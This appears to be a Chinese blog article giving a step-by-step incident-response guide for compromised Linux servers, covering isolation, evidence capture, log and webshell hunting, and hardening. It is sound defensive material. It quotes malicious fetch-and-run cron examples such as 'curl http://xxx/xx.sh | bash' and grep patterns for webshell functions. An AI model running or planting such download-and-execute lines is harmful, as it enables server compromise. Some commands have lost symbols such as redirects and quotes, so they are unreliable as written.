ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

服务器入侵应急响应实战:从确认到加固的完整处置流程

服务器入侵应急响应实战:从确认到加固的完整处置流程 凌晨两点电话铃响。群里跳出一条消息“某台服务器CPU爆了load average干到几十top里有个进程名特别怪是不是被入侵了”对于刚转行做安全运维的人来说这是最慌的时刻。应急响应这四个字听着很高大上但真到了服务器遭入侵的那一刻考验的不是什么花哨技术而是能不能稳住心态、按流程把“确认—隔离—排查—清除—加固—复盘”这套动作走完。这篇文章不跟你讲虚的全是实战里踩过的坑和总结出的处置步骤。你要是刚转行安全运维或者平时一个人扛着公司服务器安全照着这套流程走至少能保证不犯致命错误。1. 接到告警后先别慌确认入侵的第一时间很多人收到告警的第一反应是SSH登上去噼里啪啦敲一堆命令这个习惯得改。应急响应的第一条原则是“先判断、再动手”你连是不是真的被入侵都没确认就跑去kill进程、删文件反而会把证据毁了。1.1 先判断“真的中招了”还是“业务自己抽风”结合我自己处理过的案例大约有四成“入侵告警”最后被证明是业务正常波动。比如数据库凌晨在跑全表统计、日志采集任务在集中回传、备份任务在压缩大目录都会让CPU和带宽瞬间拉满看着跟挖矿病毒一模一样。快速确认的方法其实很朴素登录服务器后按顺序看四个东西当前登录会话执行w看看有没有不认识的IP连接有没有异常用户名比如一堆乱码账号。系统运行时间执行uptime判断服务器是不是已经运行很久没重启。如果告警是刚刚出现的而系统连续运行了几百天那大概率不是重启后的开机自启问题。进程快照执行top -c并按CPU排序重点看排名靠前的进程名、启动用户和完整路径。正常业务的进程名你心里大概有数出现xmrig、kdevtmpfsi、kinsing、ddgs这类名字基本实锤挖矿木马。带宽与连接执行ss -antlp或者netstat -antlp挖矿木马通常会跟矿池端口常见的有3333、4444、5555、14444保持大量连接连接数会异常多。还有一条很关键确认告警时间点然后去翻对应时间窗口的业务日志、访问日志看看有没有匹配的合法任务。如果是你认识的定时任务或者同事的操作直接排除。如果对不上号再进入下一步。1.2 被入侵后的“三不要”原则确认是入侵之后先把这三个最不该做的事情记住这是无数血泪换来的教训。第一不要直接在受害机上kill进程。你杀掉的那个进程很可能只是恶意程序的一个子进程母体还在而且进程的内存信息是重要的取证内容一杀就没了。第二不要在受害机上反复执行重操作更不要随便重启。重启之后内存里的信息全部丢失攻击者植入的内存马、加密的进程参数、正在运行的攻击工具痕迹全都拿不到了。我之前处理过一个案例对方发现服务器卡顺手reboot结果攻击者用无文件手法植入了Linux内核模块重启后东西全丢了排查难度立刻翻倍。第三不要因为“看着像挖矿木马”就立刻删文件。很多攻击者会做多手准备文件删了他还能通过计划任务重新拉取你删得越快他重新上传得越勤。正确做法是先记录现场再做隔离。那应该做什么记住一句话先记录再隔离最后排查。把当前进程列表、网络连接、登录记录这些信息导出保存到本地或远端这个“拍照”动作是你后续所有分析的底子。2. 断网隔离是保命第一步如果你确认了服务器被入侵别犹豫第一时间做隔离。这里的“隔离”指的不是关机而是切断攻击者继续访问的通路同时保留分析环境。隔离的优先级永远排在查木马前面因为攻击者只要还连着你的机器你查得再快也永远慢他一拍。2.1 为什么先隔离而不是先杀毒想明白这个问题你才算入了应急响应的门。服务器被入侵之后攻击者很可能还维持着一个活跃会话。你在这边分析他在那边继续下载工具、翻数据库、扫内网甚至把你清理动作的全过程都看在眼里。更麻烦的是横向移动——很多攻击者会以被你入侵的机器为跳板对内网其他服务器发起扫描和爆破。处理蠕虫类样本时你会有切身体会攻击脚本会短时间向大量内网IP发起连接我已经不止一次看到单个样本短时间内对外发包数量达到上千个的告警记录如果不隔离半小时之后隔壁几台机器也中招了。隔离的具体方式要看你是什么环境云服务器第一时间进云控制台把安全组入方向规则改为全部拒绝或者只保留你当前办公IP的SSH访问。云平台的操作一定优先于在机器上改防火墙因为万一攻击者已经改了iptables你在机器上操作是白费劲。物理机或内网机器直接拔网线最有效。操作上注意别去机房了还远程折腾拔线之后攻击者的连接立刻断开。内网虚拟机可以在虚拟化管理平台给虚拟机做“断开网络”操作注意不是“关闭电源”虚拟化技术这块的灵活操作要充分利用。2.2 快照与证据固定应急的第一步其实是“拍照”隔离做完别急着清理先把证据固定下来。现在的云服务器虚拟化技术很成熟无论你用哪家云厂商先给你的云主机打一个快照这是成本最低、收益最高的证据保全手段。快照能保留磁盘里所有内容包括被删除但还没被覆盖的文件后续不管是分析还是司法取证都有回旋余地。登录到服务器上把以下信息导出到别的机器同样重要命令历史history同时注意查看每个用户家目录下的.bash_history。当前进程ps -aux /tmp/ps_before_clean.txt。网络连接ss -antlp /tmp/conn_before_clean.txt。登录记录last /tmp/login_before_clean.txt、lastb /tmp/brute_before_clean.txt。计划任务crontab -l加上/etc/crontab、/etc/cron.d/、/var/spool/cron/里的内容。可疑文件哈希对发现的恶意文件执行md5sum把哈希值留档之后可以用来查威胁情报库。这里有个特容易忽视的坑服务器时间漂移。很多公司压根没配内网时间服务器做NTP同步服务器时间和真实时间差了好几个小时结果你排查日志时发现“攻击发生在凌晨3点”实际可能是上午11点。所以在固定证据时顺手执行一下date把服务器当前时间也记录下来后面梳理时间线时才能对齐。3. 顺着痕迹找凶手日志与文件排查方法论证据固定完毕隔离已经生效这时候可以静下心来做排查了。排查的本质就是回答三个问题攻击者是怎么进来的他在机器上干了什么他留下了哪些后门下面这套排查顺序是我在实际处置中反复验证过的按顺序走基本不会漏。3.1 登录日志与账号排查先查“门”有没有被撬大多数服务器被入侵入口就是弱口令爆破。不管是SSH还是数据库只要密码简单被爆只是时间问题。拿到机器先翻登录日志# Debian/Ubuntu tail -n 200 /var/log/auth.log # CentOS/RHEL tail -n 200 /var/log/secure然后重点统计失败登录记录提取爆破源IPgrep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -nr | head -20你会看到一个或多个IP贡献了大量失败记录。接着看成功登录的IP和时间特别是非工作时间、非你办公室IP的登录grep Accepted /var/log/auth.log | awk {print $1, $2, $3, $9, $11} | tail -50账号层面的排查同样关键。攻击者成功登录后通常会创建新账号作为后门或者干脆把已有账号的密码改掉。重点检查/etc/passwd里有没有UID为0的非root账号这种账号拥有和管理员一样的权限。/etc/shadow的修改时间如果时间点正好在事件窗口内说明账号被动过。/etc/sudoers里有没有被添加新的免密sudo权限。每个有shell的用户家目录下~/.ssh/authorized_keys看有没有被追加陌生公钥。攻击者把公钥写进去之后就能用私钥随时登录这种后门很多人会漏。3.2 异常进程、端口与网络连接排查找到正在运行的东西进程排查的核心思路不是“看名字猜”而是“从进程反查文件从文件反查行为”。很多恶意程序会伪装成系统进程名比如叫sysupdate、kworker、crond光看名字根本分辨不出来。正确姿势是这样# 查看所有进程重点关注CPU占用和启动路径 ps auxf --sort-%cpu | head -30 # 根据PID查看进程的可执行文件真实路径 ls -l /proc/PID/exe # 查看进程的工作目录和启动命令行 ls -l /proc/PID/cwd cat /proc/PID/cmdline一条很好用的经验如果发现PID对应的可执行文件在/tmp、/var/tmp、/dev/shm、/usr/tmp这些目录下不用多想肯定是恶意程序。正常软件没人会装在临时目录里运行。网络连接排查主要是看有没有可疑的出站连接。挖矿木马会持续连接矿池外连IP和端口就很有辨识度ss -antlp | grep -v 127.0.0.1 | grep ESTAB看到大量到境外IP的ESTAB连接或者目标是443、80但进程是个奇怪名字基本可以断定是远控或者挖矿。有些木马还会用DNS隧道表现为频繁解析奇怪域名可以顺手翻一下/etc/resolv.conf和系统日志中解析记录。3.3 webshell查杀网站被入侵后绕不开的一步如果你的服务器上还跑着Web服务排查完系统和账号后紧接着就要查Web目录。攻击者拿下网站后最常干的一件事就是上传一句话木马也就是传说中的webshell。这东西可怕在最小的一句话木马只有几行代码混在几千个PHP文件中肉眼根本找不出来。先说文件层面定位最近被创建或修改过的脚本文件这是最快能缩小范围的方法find /var/www/html -type f \( -name *.php -o -name *.jsp -o -name *.aspx \) -mtime -7再看文件内容。重点搜索那些高危函数和加密函数grep -r eval( /var/www/html --include*.php grep -r base64_decode /var/www/html --include*.php grep -r assert( /var/www/html --include*.php grep -r system\|shell_exec\|passthru\|exec /var/www/html --include*.php不过我要提醒一句现在的webshell没有这么老实攻击者会把一句话经过多重base64编码、字符串拼接、用回调函数执行常规grep根本扫不出来。我之前处理过一个案例木马就藏在图片文件里通过.htaccess把图片文件当PHP解析grep文件内容是干净的但访问这个图片就直接执行命令。所以grep只能做第一轮筛选后面还得配合工具或人工看访问日志。访问日志也是一条重要线索。webshell上传后攻击者会反复访问它你可以从Web访问日志里找出访问次数异常的脚本路径tail -n 50000 /var/log/nginx/access.log | awk {print $7} | sort | uniq -c | sort -nr | head -20如果排第一的路径是个你不知道的文件那就中奖了。处理webshell时我的建议是先备份再改名隔离不要立刻删。你还需要通过保留的文件反推攻击payload搞清楚漏洞出在哪否则删了这一次下一次他换个姿势又进来了。3.4 定时任务、启动项与服务后门排查漏网之鱼藏在“自动运行”里攻击者很聪明他知道你迟早会发现恶意进程所以会想办法让恶意程序开机自启或者定时拉取。排查自动运行机制是堵住“反复感染”的关键一步。依次检查这几个位置当前用户和root的计划任务crontab -l同时查看/etc/crontab、/etc/cron.d/、/var/spool/cron/。恶意计划任务经常写成curl http://xxx/xx.sh | bash或者wget -O /tmp/x ... chmod x /tmp/x /tmp/x特征很清晰。开机启动项/etc/rc.local、systemctl list-unit-files --typeservice | grep enabled。注意看那些名字看起来很真的服务比如systemd-service、vmnet实际指向的ExecStart路径却在/tmp或者/usr/share/下面那就是后门。Shell配置文件/etc/profile、/etc/bash.bashrc、root用户下的.bashrc、.bash_profile攻击者可能在里面追加命令每次登录都执行。还有一个很多新手不知道的地方动态链接器后门。攻击者会写一个恶意的.so文件然后配置/etc/ld.so.preload。这个文件里面只要出现非系统路径基本就是后门它会hook掉系统函数你执行ps、ls看到的都是被“美化”过的结果。这种情况用命令查是查不彻底的我建议用rkhunter、chkrootkit这类rootkit扫描工具跑一遍虽然会有误报但能帮你在茫茫文件里圈出几个重点怀疑对象。顺便提一句如果你发现/var/log/auth.log或者/var/log/secure的文件有被清空、截断的痕迹这本身就是一条重要线索说明攻击者具备了root权限而且刻意在销毁痕迹排查时就要往rootkit方向多想想。3.5 通过时间线把碎片拼成故事排查到这里你手上已经攒了一堆零散的信息几个可疑IP、几个恶意文件、几个异常时间段。最后一步是把它们串成一条时间线。我的习惯是做一张简单的表格大致长这样时间事件证据来源07-12 03:15来自120.x.x.x的SSH爆破成功/var/log/auth.log07-12 03:20创建了新账号test123/etc/passwd修改时间07-12 03:25上传了/tmp/xmrig挖矿程序/tmp下文件mtime07-12 04:00首次连接矿池IPss连接记录时间线拼完之后几个关键问题就自然浮出水面了入口是弱口令还是漏洞利用攻击者做了什么操作是只挖矿、窃数据还是把机器当跳板继续横移影响范围是只这一台还是同网段、同密码、同业务的机器都得重新审视影响范围评估这一步别偷懒。之前有家客户被我查出唯一一台机器被入侵结果复测时发现整个网段二十台机器密码全部相同攻击者早就在内网装了一圈后门只是当时只有一台机器露了馅。横向移动被发现的永远比实际发生的晚这是规律。4. 清除威胁与加固闭环从杀毒到恢复业务排查完成后真正考验清理能力的时候到了。清理顺序如果搞反后患无穷。正确的逻辑是先把门锁换掉再进屋赶贼。也就是先切断攻击者再次进入的路径再去处置已经存在的恶意文件和进程。4.1 清除的先后顺序第一步清理账号与认证后门。把排查阶段发现的恶意账号立刻锁定或删除删除陌生的SSH公钥重置所有受影响的用户密码、数据库密码、应用密码。这个动作优先级最高因为你不知道攻击者手上有多少把钥匙先全部换掉锁芯才能安心处理屋子里的东西。第二步删除恶意文件与计划任务。先注释或删除恶意cron条目再杀掉恶意进程最后删除病毒本体和相关脚本。有条件的先复制一份样本留档后续还要做威胁分析或者提交给安全社区。第三步处理Web层面的后门。删除webshell、恶意.htaccess、被篡改的程序文件。如果你发现大量文件被篡改别一个一个手改没意义直接从干净备份恢复整个Web目录。这里我必须提醒一个很多新人爱犯的错误不要在一个被入侵的系统上“清理干净继续跑”。挖矿木马和webshell还好说万一碰上rootkit或者内核级后门你在系统里清理得再干净内核层可能还是有问题。我个人的习惯是核心业务服务器在有快照和备份的前提下直接重装系统或从干净镜像重建然后恢复业务数据。重装治百病这句话在应急响应里真的适用。一台被深度入侵的机器清理成本往往比重建成本高得多而且清理完心里还没底重建完至少知道你跑的系统是干净的。4.2 加固清单照着做一遍处置完不等于结束加固才是防止二次入侵的核心环节。我每次做完应急都会给客户输出一份加固清单就是下面这些内容你也可以直接拿去对照执行SSH加固修改SSH端口关闭密码登录改用密钥登录配置fail2ban对暴力破解IP自动封禁。这是最基础但最有效的防线。防火墙与安全组遵循“白名单思维”只开放业务必要的端口。数据库端口3306、5432等绝对不允许暴露公网管理端口22、3389只对办公IP开放。中间件与应用补丁升级Web服务器、应用框架、数据库等各组件的版本尤其是Web应用漏洞文件上传、反序列化、SQL注入等是webshell入门的通道该打补丁打补丁该上WAF上WAF。日志集中化把系统日志、Web访问日志实时传输到独立的日志服务器或云日志服务。很多攻击者会把本机日志清空如果日志在另一台机器上躺着一份应急时就能反将一军。部署安全监测产品有预算的上云平台的主机安全Agent、态势感知自建环境可以部署自适应入侵检测系统或者开源IDS即便做不到实时阻断至少能做到异常事件第一时间告警。告警链路永远要预留别等出事了才到处翻日志。关键业务建立集群和备份机制单点服务器被攻破后恢复业务非常被动如果有集群或负载均衡部分节点被攻破可以迅速摘除不至于全站停摆。备份不仅要定期做还得定期演练恢复不然等到要用时发现备份坏的心态直接崩。4.3 恢复业务与持续观察加固完成后恢复业务前先确认影响范围里没有“漏网之鱼”。如果攻击者在内网其他机器也留了后门你只把这台机器收拾干净过几天他会顺着老路爬回来。恢复业务时如果数据无损坏直接重启服务并观察如果怀疑数据被篡改或加密优先从备份恢复数据。在恢复后的头48小时重点盯几项指标CPU负载、出站连接、登录日志、Web访问日志。典型的“回马枪”事件里攻击者会隔一段时间才回来重新连接后门如果监测期太短可能发现不了。万一碰到勒索病毒加密了数据我建议的处理原则是先断网隔离所有主机防止加密扩散然后评估备份恢复的可行性和成本。支付赎金在任何情况下都不是首选方案付了钱数据也未必能拿回来。5. 复盘报告与避坑经验处理完技术层面的事情还差最后一件大多数人做不好的事复盘。应急响应报告不是写给技术人看的是写给领导和同事看的要让不懂技术的人也能明白发生了什么、损失是什么、以后怎么防。5.1 应急响应报告应该写什么我写报告一般固定几个模块按顺序写不用堆砌技术细节事件概述一句话说清楚什么时间、什么机器、发生了什么例如“7月12日凌晨生产环境Web服务器被暴力破解后植入挖矿木马导致CPU资源被大量占用”。时间线用时间事件的方式还原整个入侵过程越客观越好不掺杂猜测。根因分析实锤攻击入口比如“SSH密码强度过低且对公网开放被暴力破解成功”。影响范围与损失评估被影响机器的数量、业务中断时间、有无数据泄露风险。处置动作已经采取哪些应急措施当前系统是否已恢复正常。整改建议分成“立即要做”和“长期要做”两栏每一条都对应到责任人和时间节点。报告里切忌只丢一堆命令输出和IP地址。决策层关心的是业务影响和需要的资源不是你那几条netstat记录。5.2 转行安全运维的几个真实建议我是半路转行做安全运维的一路摸爬滚打过来有几句话想对准备入行的朋友说。第一平时多做模拟演练。不要等真出事才第一次跑应急流程。自己搭一台虚拟机故意传一个webshell进去、设置一个异常计划任务、丢一个挖矿样本然后按流程走一遍排查。整个过程一个小时就能练一次真到实战时你会感谢这些练习。第二不要过度依赖扫描工具和国产“一键查杀软件”思路比工具重要。工具只能帮你缩小范围最终做判断的始终是你自己。会看日志、会分析进程、会整理时间线这些基本功一旦有了面对什么样本都不慌。第三保持稳定心态。真应急时你会紧张会害怕做错决定这很正常。我的经验是紧张就回到流程本身——确认、隔离、固定证据、排查、清除、加固、复盘。流程走到位哪怕某个具体环节做得粗糙也不会出大错。真正导致翻车的永远是脑子一热跳过了某个看似不紧急的步骤。5.3 常见问题速查表最后整理一张速查表遇到可以直接对着处理症状可能原因紧急处理动作CPU飙高存在陌生进程挖矿木马隔离主机top -c定位进程导出外连IP杀进程、删文件、改口令服务器莫名多出管理员账号账号后门锁定可疑账号检查/etc/passwd和/etc/sudoers修改时间排查日志网页被篡改或强制跳转网页挂马/被篡改从备份恢复页面排查webshell和上传漏洞加WAF防护数据库文件后缀被改为奇怪扩展名勒索病毒立即断网隔离全内网评估备份恢复不轻易支付赎金登录日志被清空攻击者反取证重点检查其他机器日志、文件时间戳排查rootkit与ld.so.preload恶意文件反复出现计划任务或后门未清除全面检查cron、启动项必要时直接重装系统杀完进程后很快复发有母体进程在守护检查父进程通过/proc/PID/status和cmdline定位守护链最后分享一个我自己常用的“笨办法”平时就给每台服务器建立一份基线清单记录正常状态下的进程列表、监听端口、启动项、重要文件的哈希值。一旦发生入侵拿当前状态和基线一对异常点全部浮出水面排查效率比从头翻日志高了好几倍。这个动作一周花不了半小时但你真遇到应急时它就是你的救命稻草。
返回列表